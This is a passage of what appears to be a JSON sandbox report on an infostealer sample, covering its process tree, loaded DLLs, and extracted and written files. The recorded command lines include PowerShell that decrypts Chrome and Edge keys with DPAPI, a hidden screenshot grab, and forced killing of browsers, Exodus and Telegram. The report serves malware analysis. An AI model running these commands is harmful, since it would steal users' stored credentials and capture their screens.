browser.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00003736","uid":"00000000-00002300"},{"pid":3748,"ppid":3736,"name":"taskkill.exe","command_line":"taskkill /F /IM QQBrowser.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00003736","uid":"00000000-00003748"},{"pid":4492,"ppid":3736,"name":"taskkill.exe","command_line":"taskkill /F /IM 360chrome.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00003736","uid":"00000000-00004492"},{"pid":2132,"ppid":3736,"name":"taskkill.exe","command_line":"taskkill /F /IM 360chrome.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00003736","uid":"00000000-00002132"},{"pid":1900,"ppid":3736,"name":"taskkill.exe","command_line":"taskkill /F /IM firefox.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00003736","uid":"00000000-00001900"},{"pid":8432,"ppid":3736,"name":"taskkill.exe","command_line":"taskkill /F /IM firefox.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00003736","uid":"00000000-00008432"},{"pid":7796,"ppid":3736,"name":"taskkill.exe","command_line":"taskkill /F /IM firefox.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00003736","uid":"00000000-00007796"},{"pid":3632,"ppid":3736,"name":"taskkill.exe","command_line":"taskkill /F /IM firefox.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00003736","uid":"00000000-00003632"},{"pid":5100,"ppid":4592,"name":"cmd.exe","command_line":"/d /s /c \"powershell -NoProfile -ExecutionPolicy Bypass -Command \"Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAoyGnEnVVSEuL4DXAs8+MihAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAACvvNAVBEJK9OOt7t51xX8eCfEPwq3tb3IlBqpfN6/qiAAAAAA6AAAAAAgAAIAAAANnWClV2sVHUVzQRkcO+3K8li9i6AR6QSEhKWNkXxzh0MAAAAPqJci7wKEknVnmY6KV63CMJ0BeK+eQOHjO/Z20+7dxskyhTGPGIdgYUmGUc7btksEAAAAAcmlLwXU4gAJ9zTqc/NsOmrxA/EHP28xjpOsEP83PNeSuTPcZZzTiJ3JLOLjOl9vpOF2Mlou8q8yYdZdeLEb/e');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))\"\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00004592","uid":"00000000-00005100"},{"pid":2044,"ppid":5100,"name":"powershell.exe","command_line":"powershell -NoProfile -ExecutionPolicy Bypass -Command \"Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAoyGnEnVVSEuL4DXAs8+MihAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAACvvNAVBEJK9OOt7t51xX8eCfEPwq3tb3IlBqpfN6/qiAAAAAA6AAAAAAgAAIAAAANnWClV2sVHUVzQRkcO+3K8li9i6AR6QSEhKWNkXxzh0MAAAAPqJci7wKEknVnmY6KV63CMJ0BeK+eQOHjO/Z20+7dxskyhTGPGIdgYUmGUc7btksEAAAAAcmlLwXU4gAJ9zTqc/NsOmrxA/EHP28xjpOsEP83PNeSuTPcZZzTiJ3JLOLjOl9vpOF2Mlou8q8yYdZdeLEb/e');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))\"","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005100","uid":"00000000-00002044"},{"pid":940,"ppid":4592,"name":"cmd.exe","command_line":"/d /s /c \"powershell -NoProfile -ExecutionPolicy Bypass -Command \"Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAI4cbP2MyEUSpL/AqtX1vKBAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAiQwZLMgQYQB93jcI9afJxjxz+kt1ydh7LTzY11pEMcAAAAAADoAAAAACAAAgAAAA3hy12G1fmhjDO+Wo6wIDfnrOey79Gw9/meLdGEsG6U8wAAAARofjSzQlUi6n9hsA8RD+3/tYyqrMq1W0F5RrY9zq4sjRPkU097zW8IZlORJHSuP3QAAAAMSjIESE6Hw6lBEFUXO+Id1+yyVzLn05kYizt7XFkw9H6zLJVng7ARtcv90UO1WKrnr4CcZo9MR4JG53HEiOrSw=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))\"\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00004592","uid":"00000000-00000940"},{"pid":3696,"ppid":940,"name":"powershell.exe","command_line":"powershell -NoProfile -ExecutionPolicy Bypass -Command \"Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAI4cbP2MyEUSpL/AqtX1vKBAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAiQwZLMgQYQB93jcI9afJxjxz+kt1ydh7LTzY11pEMcAAAAAADoAAAAACAAAgAAAA3hy12G1fmhjDO+Wo6wIDfnrOey79Gw9/meLdGEsG6U8wAAAARofjSzQlUi6n9hsA8RD+3/tYyqrMq1W0F5RrY9zq4sjRPkU097zW8IZlORJHSuP3QAAAAMSjIESE6Hw6lBEFUXO+Id1+yyVzLn05kYizt7XFkw9H6zLJVng7ARtcv90UO1WKrnr4CcZo9MR4JG53HEiOrSw=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))\"","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00000940","uid":"00000000-00003696"},{"pid":8992,"ppid":4592,"name":"cmd.exe","command_line":"/d /s /c \"tasklist /FO CSV /NH\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00004592","uid":"00000000-00008992"},{"pid":5868,"ppid":8992,"name":"tasklist.exe","command_line":"tasklist /FO CSV /NH","sha256":"c54fdd83d88404a62eb945b862e13979481526d2af7a97abc92c50ecd06d4f70","normalized_path":"%WINDIR%\\system32\\tasklist.exe","parent_uid":"00000000-00008992","uid":"00000000-00005868"},{"pid":9208,"ppid":4592,"name":"cmd.exe","command_line":"/d /s /c \"tasklist /FO CSV /NH\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00004592","uid":"00000000-00009208"},{"pid":2656,"ppid":9208,"name":"tasklist.exe","command_line":"tasklist /FO CSV /NH","sha256":"c54fdd83d88404a62eb945b862e13979481526d2af7a97abc92c50ecd06d4f70","normalized_path":"%WINDIR%\\system32\\tasklist.exe","parent_uid":"00000000-00009208","uid":"00000000-00002656"},{"pid":5728,"ppid":4592,"name":"cmd.exe","command_line":"/d /s /c \"taskkill /IM Exodus.exe /F\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00004592","uid":"00000000-00005728"},{"pid":7596,"ppid":5728,"name":"taskkill.exe","command_line":"taskkill /IM Exodus.exe /F","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00005728","uid":"00000000-00007596"},{"pid":7728,"ppid":4592,"name":"cmd.exe","command_line":"/d /s /c \"powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command \"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();\"\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00004592","uid":"00000000-00007728"},{"pid":4788,"ppid":7728,"name":"powershell.exe","command_line":"powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command \"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();\"","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007728","uid":"00000000-00004788"},{"pid":8104,"ppid":4592,"name":"cmd.exe","command_line":"/d /s /c \"taskkill /IM Telegram.exe /F\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00004592","uid":"00000000-00008104"},{"pid":5232,"ppid":8104,"name":"taskkill.exe","command_line":"taskkill /IM Telegram.exe /F","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00008104","uid":"00000000-00005232"}],"all_imported_dlls":["gpapi.dll","secur32.dll","dB9w4QST.dll","kernel32.dll","gdi32.dll","fltLib.dll","shlwapi.dll","vbscript.dll","advapi32.dll","imm32.dll","IPHLPAPI.DLL","mscorlib.ni.dll","MpClient.dll","wbemcomn.dll","msvcp140.dll","bcrypt.dll","dnsapi.dll","winrnr.dll","clbcatq.dll","msasn1.dll","msisip.dll","System.Transactions.ni.dll","System.Data.ni.dll","softokn3.dll","System.Data.dll","gdi32full.dll","mscoree.dll","WinTypes.dll","MpOAV.dll","wldp.dll","AppxSip.dll","System.Configuration.Install.ni.dll","winsta.dll","win32u.dll","winmm.dll","nsi.dll","dhcpcsvc.dll","wshbth.dll","msctf.dll","mpr.dll","python310.dll","psapi.dll","nss3.dll","umpdc.dll","System.DirectoryServices.ni.dll","iertutil.dll","imagehlp.dll","vcruntime140.dll","mswsock.dll","System.ni.dll","System.Drawing.ni.dll","wbemprox.dll","user32.dll","userenv.dll","powrprof.dll","wshext.dll","Microsoft.Management.Infrastructure.ni.dll","System.Windows.Forms.ni.dll","libssl-1_1.dll","perfos.dll","KernelBase.dll","VxSSL64.dll","vcruntime140_clr0400.dll","scrobj.dll","python3.dll","sqlite3.dll","wsock32.dll","wintrust.dll","combase.dll","dhcpcsvc6.dll","pnrpnsp.dll","ucrtbase_clr0400.dll","SHCore.dll","pwrshsip.dll","libffi-7.dll","freebl3.dll","oleaut32.dll","mscoreei.dll","vcruntime140_1_clr0400.dll","rsaenh.dll","System.Xml.ni.dll","netutils.dll","cryptsp.dll","FWPUCLNT.DLL","System.Management.Automation.ni.dll","System.Configuration.ni.dll","System.Transactions.dll","msvcp_win.dll","ws2_32.dll","pfclient.dll","System.Management.ni.dll","mozglue.dll","fastprox.dll","rpcrt4.dll","amsi.dll","WindowsCodecs.dll","clr.dll","vcruntime140_1.dll","apphelp.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","srvcli.dll","cryptbase.dll","ncryptprov.dll","wbemsvc.dll","profapi.dll","sxs.dll","shell32.dll","kernel.appcore.dll","NapiNSP.dll","nlansp_c.dll","GdiPlus.dll","libcrypto-1_1.dll","dpapi.dll","crypt32.dll","System.Core.ni.dll","framedynos.dll","version.dll","ntasn1.dll","sspicli.dll","msvcrt.dll","ucrtbase.dll","uxtheme.dll","windows.storage.dll","wmiutils.dll","sechost.dll","bcryptprimitives.dll","atl.dll","clrjit.dll","ntdll.dll","dbghelp.dll","scrrun.dll","rasadhlp.dll","Microsoft.PowerShell.Security.ni.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","ncrypt.dll","ole32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"zeppskdd.exe","sha256":"02f0e53fdda9197491f06b23f60eacc2c262adb14490ef49772c5ef799ced124","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"_decimal.pyd","sha256":"384993b2b8cfcbf155e63f0ee2383a9f9483de92ab73736ff84590a0c4ca2690","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"_elementtree.pyd","sha256":"16480ede0430be5249481a9bfb843eb0ef98f93b467a5428352fc23cc8c9051d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"_lzma.pyd","sha256":"f125a885c10e1be4b12d988d6c19128890e7add75baa935fe1354721aa2dea3e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"libcrypto-1_1.dll","sha256":"664c3e52f914e351bb8a66ce2465ee0d40acab1d2a6b3167ae6acf6f1d1724d2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"libssl-1_1.dll","sha256":"b7c0e42c1a60a2a062b899c8d4ebd0c50ef956177ba21785ce07c517c143aeaf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"python.cat","sha256":"e02233348ab5fe827ee3221b4a7fee57a46499d428fb47f9a8dbd703c178183f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"sqlite3.dll","sha256":"831ba87cb1a91d4581f0abbcc4966c6f4b332536f70cf481f609c44cc3d987c2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"fetch_macholib.bat","sha256":"7497fbdbb98afca4ac455e3a057c59bcdebaf1280e25c94741dc301f05cb53e5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"python.exe","sha256":"94a83686261e9364cf3386b61a01a9f70936e8547da8962d16f1f850226b8954","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"python3.dll","sha256":"8d5e09791b8b251676e16bdd66a7118d88b10b66ad80a87d5897fadbefb91790","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"python310.dll","sha256":"f281c2e252ed59dd96726dbb2de529a2b07b818e9cc3799d1ffa9883e3028ed8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"pythonw.exe","sha256":"040d121a3179f49cd3f33f4bc998bc8f78b7f560bfd93f279224d69e76a06e92","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"vcruntime140.dll","sha256":"e1d6f78a72836ea120bd27a33ae89cbdc3f3ca7d9d0231aaa3aac91996d2fa4e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"vcruntime140_1.dll","sha256":"04e7ccbdcad7cbaf0ed28692fb08eab832c38aad9071749037ee7a58f45e9d7d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"__PSScriptPolicyTest_1mdfxaqi.4os.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"system_check_1788280749172.vbs","sha256":"b1e3a51dab45d473d8772cab626ad93699e1b4de07852b0f8b008bd88c91095c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"_asyncio.pyd","sha256":"cf0edfd508d11bffb63d1b104b6099e0f14ea0fada762f88364e7163f2185f06","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"_bz2.pyd","sha256":"4c2649dc69a8874b91646723aacb84c565efeaa4277c46392055bca9a10497a8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"_ctypes.pyd","sha256":"35cdd122679041ebef264de5626b7805f3f66c8ae6cc451b8bc520be647fa007","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"_hashlib.pyd","sha256":"50daeb3985302a8d85ce8167b0bf08b9da43e7d51ceae50e8e1cdfb0edf218c6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"_msi.pyd","sha256":"32c09c38867d9fe04cc2ca64c8653556ed8a28a3da113fd61da3ed2b56bb87ba","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"_multiprocessing.pyd","sha256":"000486aaac9dd21e88b3dc65fd854dd83519b1fbcc224a70530bc3ec8cbd1a5d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"_overlapped.pyd","sha256":"fe5666c1c8215cd2773744c815fb4a3b2f52f64cf0dde25d458441da22bf5568","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"_queue.pyd","sha256":"9ecec72c5fe3c83c122043cad8ceb80d239d99d03b8ea665490bbced183ce42a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"_socket.pyd","sha256":"3669e56e99ae3a944fbe7845f0be05aea96a603717e883d56a27dc356f8c2f2c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"_sqlite3.pyd","sha256":"728d21be4d47dd664caf9fa60c1369fe059bc0498edd383b27491d0dee23e439","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"service.log","sha256":"a72ceee8f605810ad7394a51fbbad37552cabb18e96b3c155764749b193db341","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"config.json","sha256":"b8586a6d46e43c67377438b43499c863700dea87a51bd97dae41ab97db5beb0e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"StartupProfileData-NonInteractive","sha256":"6cdfccca75d997a7035e22747edb9a8699a9097c795e8fa2cdc25f0b19605ac8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SystemService_README.txt","sha256":"7b9d76d4a25b95cde44e944683b840bfcb9d581bd4d4b39bb03d78cc7b07bfe7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":".rels","sha256":"552a0c4d10f2e2f3af0e264a526c41837a8c0de24c29a848d89eb84f2c3e9652","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"python.png","sha256":"f95673803fda1b5411820cd637229c935489ae030c2271376313ded92255aec6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"python.nuspec","sha256":"e6d97406ff2496e02d0ec3c6f73d4382d24f222e51bcd70b8776387c43043353","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]}],"files_written":[{"path":"%ALLUSERSPROFILE%\\Microsoft\\NetFramework\\BreadcrumbStore\\netcore,static","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\NetFramework\\BreadcrumbStore\\netcore,static,8.0.11","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\zeppskdd.exe","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E122B924-B4ED-4437-BC94-A96B6AA901B6}","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{45F5205B-FA7A-11ED-8886-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%APPDATA%\\WindowsSystemService\\config.json","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%APPDATA%\\WindowsSystemService\\Logs\\service.log","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\SystemService_README.txt","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\version.txt","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\system_check_1788280749172.vbs","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\python310.zip","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\_rels\\.rels","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\python.nuspec","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\images\\python.png","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\multiprocessing\\shared_memory.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\contrib\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\LICENSE.txt","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\asyncio\\selector_events.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\multiprocessing\\spawn.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\contrib\\_securetransport\\bindings.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\python.exe","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\asyncio\\sslproto.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\multiprocessing\\synchronize.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\contrib\\_securetransport\\low_level.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\asyncio\\staggered.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\multiprocessing\\util.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\contrib\\_securetransport\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\asyncio\\streams.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\multiprocessing\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\packages\\six.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\asyncio\\subprocess.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\multiprocessing\\dummy\\connection.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\packages\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\python3.dll","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\asyncio\\tasks.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\multiprocessing\\dummy\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\packages\\backports\\makefile.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\python310.dll","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\asyncio\\threads.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\pydoc_data\\topics.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\packages\\backports\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\pythonw.exe","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\asyncio\\transports.py","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\pydoc_data\\_pydoc.css","sources":[{"report_